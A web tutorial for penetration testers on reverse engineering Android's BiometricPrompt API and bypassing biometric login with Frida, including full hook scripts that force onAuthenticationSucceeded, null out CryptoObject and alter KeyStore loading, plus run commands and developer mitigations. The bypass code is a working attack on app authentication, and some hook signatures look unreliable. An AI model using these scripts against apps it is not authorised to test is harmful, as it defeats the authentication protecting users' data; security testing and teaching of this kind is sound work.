Android App Penetration Testing & Frida Hooks

Reverse Engineering Android Biometric APIs for Advanced Frida Hooking Techniques

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction

Android’s biometric authentication, primarily via fingerprints and face recognition, has become a cornerstone of mobile security, offering a convenient yet robust way to protect user data. However, for penetration testers and security researchers, understanding how these APIs function under the hood and identifying potential bypasses is crucial. This article delves into the reverse engineering of Android Biometric APIs and demonstrates advanced Frida hooking techniques to detect and bypass biometric authentication mechanisms in target applications.

We will explore the modern BiometricPrompt API, dissect its internal workings, and then craft sophisticated Frida scripts to intercept its methods, manipulate its callbacks, and ultimately achieve a successful bypass, even in scenarios involving cryptographic operations.

Understanding Android Biometric APIs

BiometricPrompt: The Modern API

Since Android 9 (API Level 28), Google introduced BiometricPrompt as the unified API for biometric authentication, deprecating the older FingerprintManager. BiometricPrompt provides a consistent UI and API for interacting with various biometric hardware, simplifying developer integration and enhancing user experience.

Developers typically interact with BiometricPrompt through its builder pattern, configuring the title, subtitle, description, and setting up an Executor and a BiometricPrompt.AuthenticationCallback. The core method for initiating authentication is authenticate(), which can optionally take a BiometricPrompt.CryptoObject.

Behind the Scenes: How it Works

When an application calls BiometricPrompt.authenticate(), the system handles the UI presentation and interaction with the underlying biometric hardware. Upon a successful or failed authentication, the system invokes the corresponding methods in the provided AuthenticationCallback:

  • onAuthenticationError(int errorCode, CharSequence errString): Called when an unrecoverable error has occurred.
  • onAuthenticationHelp(int helpCode, CharSequence helpString): Called when a recoverable error has occurred.
  • onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result): Called when a biometric is recognized.
  • onAuthenticationFailed(): Called when a biometric is valid but not recognized.

The CryptoObject plays a vital role when cryptographic operations are tied to biometric authentication, ensuring that the key is only released upon successful user authentication. This is often used for operations like decrypting user data stored on the device.

Reverse Engineering for Biometric Hooks

Before hooking, static analysis is essential to understand the target application’s implementation of biometric authentication. Tools like Jadx, Ghidra, or Apktool are indispensable here.

Static Analysis with Jadx/Ghidra

Decompile the target APK and search for references to BiometricPrompt, BiometricManager, or their associated classes and methods. Key methods to look for include:

  • new BiometricPrompt.Builder()
  • new BiometricPrompt(...)
  • authenticate(CancellationSignal, Executor, BiometricPrompt.AuthenticationCallback)
  • authenticate(BiometricPrompt.CryptoObject, CancellationSignal, Executor, BiometricPrompt.AuthenticationCallback)

Example of identifying a class using BiometricPrompt:

$ jadx -d out application.apk # Decompile the APK $ grep -r "BiometricPrompt" out/ # Search for references

This will help pinpoint the exact classes and methods where biometric authentication is initiated. Pay close attention to the AuthenticationCallback implementation, as this is where the application processes the result of the biometric check.

Identifying Key Methods and Callbacks

Once you’ve located the relevant code, identify:

  • The specific instance of BiometricPrompt being used.
  • The implementation of BiometricPrompt.AuthenticationCallback, typically an anonymous inner class or a private class within the activity/fragment.
  • Any custom logic around the authentication call, such as checks for device security or specific flags.

Frida for Biometric Bypass

Frida allows us to dynamically instrument Android applications, intercepting method calls and modifying their behavior at runtime. This capability is perfect for bypassing biometric checks.

Basic Hooking: Observing Authentication Flow

A fundamental step is to confirm that our hooks are hitting the right target. We can start by logging calls to BiometricPrompt.authenticate.

Java.perform(function() {    const BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');    BiometricPrompt.authenticate.overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback').implementation = function(cancellationSignal, executor, callback) {        console.log('[-] BiometricPrompt.authenticate called!');        this.authenticate(cancellationSignal, executor, callback);    };    BiometricPrompt.authenticate.overload('androidx.biometric.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'androidx.biometric.BiometricPrompt$AuthenticationCallback').implementation = function(cryptoObject, cancellationSignal, executor, callback) {        console.log('[-] BiometricPrompt.authenticate with CryptoObject called!');        this.authenticate(cryptoObject, cancellationSignal, executor, callback);    };});

Forcing Biometric Success

To bypass the biometric prompt, we can intercept the authenticate method and directly invoke the onAuthenticationSucceeded callback. This effectively tells the application that the biometric check passed without any user interaction.

Java.perform(function() {    const BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');    const BiometricPromptAuthCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');    const BiometricPromptAuthResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');    const KeyStore = Java.use('java.security.KeyStore');    // Hook all overloads of authenticate    const authenticateOverloads = BiometricPrompt.authenticate.overloads;    authenticateOverloads.forEach(function(overload) {        overload.implementation = function() {            console.log('[-] Intercepted BiometricPrompt.authenticate call!');            const callback = arguments[arguments.length - 1]; // Callback is always the last argument            // Create a dummy AuthenticationResult            const dummyAuthenticationResult = BiometricPromptAuthResult.$new(null, null); // Can be null if no CryptoObject            // Call onAuthenticationSucceeded directly on the app's callback            Java.scheduleOnMainThread(function() {                console.log('[+] Forcing onAuthenticationSucceeded callback!');                callback.onAuthenticationSucceeded(dummyAuthenticationResult);            });            // Prevent original authenticate from being called            // return this.authenticate.apply(this, arguments); // Uncomment to let original method run too, if needed        };    });    // Optionally, if dealing with a CryptoObject and KeyStore    const BiometricCryptoObject = Java.use('androidx.biometric.BiometricPrompt$CryptoObject');    BiometricCryptoObject.$init.implementation = function(keyStore) {        console.log('[-] BiometricPrompt.CryptoObject initialized with KeyStore. Ignoring...');        return this.$init(null); // Pass null to bypass cryptographic linkage, if applicable    };    KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementation = function(param) {        console.log('[-] KeyStore.load called with LoadStoreParameter. Ignoring parameter.');        this.load(null); // Attempt to load without parameter, effectively bypassing any crypto object initialization issues    };    KeyStore.load.overload('java.io.InputStream', '[C').implementation = function(stream, password) {        console.log('[-] KeyStore.load called with InputStream and password. Ignoring parameters.');        this.load(null, null); // Attempt to load without parameters    };});

In this script, we iterate through all overloads of authenticate. For each, we extract the AuthenticationCallback object (which is always the last argument) and directly invoke its onAuthenticationSucceeded method. We wrap this in Java.scheduleOnMainThread to ensure UI-related operations are handled correctly. We also include a basic bypass for CryptoObject initialization if the app relies on it, by passing null.

Handling CryptoObject (Advanced)

If the application uses BiometricPrompt.CryptoObject, it implies that a cryptographic key is involved, often retrieved from Android’s KeyStore. Directly forcing success might work, but the application could later fail if it tries to use a non-initialized or invalid CryptoObject. In such cases, you might need to:

  • Hook KeyStore methods (e.g., load(), getEntry()) to ensure they return valid, if dummy, objects.
  • Hook the constructor of BiometricPrompt.CryptoObject to ensure it’s initialized with a usable (even if weak) cryptographic primitive or null it out if the app tolerates it.

The provided script above includes a basic attempt to nullify the CryptoObject during its construction and bypass KeyStore loading parameters, which can be a starting point for more complex cryptographic bypasses.

Putting It All Together: A Practical Scenario

Step 1: Set up your environment

Ensure you have a rooted Android device or emulator, Frida server running on it, and Frida CLI installed on your host machine.

$ adb shell # Push frida-server to /data/local/tmp $ chmod +x /data/local/tmp/frida-server $ /data/local/tmp/frida-server & # On host machine $ frida-ps -Uai # Verify connection and list installed apps

Step 2: Develop a Sample App (Conceptual)

Imagine a simple Android app with a login screen protected by a biometric prompt. The app’s relevant code might look like this:

public class MainActivity extends AppCompatActivity {    private BiometricPrompt biometricPrompt;    private BiometricPrompt.PromptInfo promptInfo;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Executor executor = ContextCompat.getMainExecutor(this);        BiometricPrompt.AuthenticationCallback callback = new BiometricPrompt.AuthenticationCallback() {            @Override            public void onAuthenticationError(int errorCode, CharSequence errString) {                super.onAuthenticationError(errorCode, errString);                Log.e("BIO", "Auth error: " + errString);                Toast.makeText(getApplicationContext(), "Auth Error: " + errString, Toast.LENGTH_SHORT).show();            }            @Override            public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {                super.onAuthenticationSucceeded(result);                Log.i("BIO", "Auth success!");                Toast.makeText(getApplicationContext(), "Authentication Succeeded!", Toast.LENGTH_SHORT).show();                // Navigate to secured content            }            @Override            public void onAuthenticationFailed() {                super.onAuthenticationFailed();                Log.w("BIO", "Auth failed.");                Toast.makeText(getApplicationContext(), "Auth Failed", Toast.LENGTH_SHORT).show();            }        };        biometricPrompt = new BiometricPrompt(this, executor, callback);        promptInfo = new BiometricPrompt.PromptInfo.Builder()                .setTitle("Biometric Login")                .setSubtitle("Log in using your biometric credential")                .setNegativeButtonText("Cancel")                .build();        findViewById(R.id.login_button).setOnClickListener(v -> biometricPrompt.authenticate(promptInfo));    }}

Step 3: Crafting the Frida Bypass Script

Using the previously discussed Frida script (the one for forcing success), we can target this application. Save the script as bypass_bio.js and run it:

$ frida -U -f com.example.biometricapp -l bypass_bio.js --no-pause

Now, when you tap the login button in the application, the biometric prompt will appear briefly, but then immediately trigger the onAuthenticationSucceeded callback, effectively bypassing the biometric check. The application will behave as if a successful biometric scan occurred.

Limitations and Mitigations

While powerful, Frida hooking for biometric bypass has limitations:

  • Server-Side Validation: If the application performs server-side authentication checks that also involve biometric data (e.g., signing a challenge with a biometric-bound key), this client-side bypass won’t directly grant access to server-protected resources.
  • Obfuscation: Heavily obfuscated applications can make static analysis and identifying target methods more challenging.

Developers can mitigate these issues by:

  • Implementing strong server-side authentication for critical operations.
  • Using code obfuscation tools like ProGuard/R8 effectively.
  • Ensuring cryptographic operations tied to biometrics use hardware-backed keys where available and are validated server-side if sensitive.

Conclusion

Reverse engineering Android Biometric APIs and employing advanced Frida hooking techniques provides a deep insight into how mobile applications secure user data and how these protections can be challenged. By understanding the underlying API calls, callback mechanisms, and the role of CryptoObject, we can effectively craft runtime bypasses. This knowledge is invaluable for penetration testers to assess application security and for developers to build more resilient biometric authentication systems.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner